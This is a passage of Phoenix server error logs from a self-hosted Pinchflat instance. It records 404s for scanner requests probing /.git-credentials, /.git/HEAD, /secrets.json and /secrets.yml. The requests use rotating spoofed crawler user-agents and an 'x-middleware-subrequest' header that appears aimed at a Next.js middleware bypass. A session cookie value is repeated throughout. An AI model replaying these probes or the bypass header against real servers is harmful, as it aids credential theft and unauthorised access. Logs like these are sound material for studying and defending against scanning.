=> "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, met (truncated) 16:49:06.452 [info] GET /.git-credentials 16:49:06.452 [debug] QUERY OK source="settings" db=0.0ms idle=118.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.453 [debug] QUERY OK source="settings" db=0.0ms idle=37.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.453 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.453 [error] #PID<0.29607.0> running PinchflatWeb.Endpoint (connection #PID<0.29606.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git-credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git-credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29607.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.git-credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61XMZsRBROG0ABv1h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git-credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git-credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, q (truncated) 16:49:06.461 [info] GET /.git/HEAD 16:49:06.461 [debug] QUERY OK source="settings" db=0.0ms idle=46.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.461 [debug] QUERY OK source="settings" db=0.0ms idle=43.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.461 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.461 [error] #PID<0.29609.0> running PinchflatWeb.Endpoint (connection #PID<0.29608.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33710}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29609.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61XOarSkBQx0ABv2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33710}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33710}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:06.501 [info] GET /secrets.json 16:49:06.502 [debug] QUERY OK source="settings" db=0.1ms idle=83.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.502 [debug] QUERY OK source="settings" db=0.0ms idle=49.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.502 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.502 [error] #PID<0.29611.0> running PinchflatWeb.Endpoint (connection #PID<0.29610.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29610.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29611.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61XYJmz6Qs9wABv2h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29610.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29610.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: (truncated) 16:49:06.553 [info] GET /secrets.yml 16:49:06.554 [debug] QUERY OK source="settings" db=0.0ms idle=101.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.554 [debug] QUERY OK source="settings" db=0.0ms idle=92.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.554 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.554 [error] #PID<0.29613.0> running PinchflatWeb.Endpoint (connection #PID<0.29612.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /secrets.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29612.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33730}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29613.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 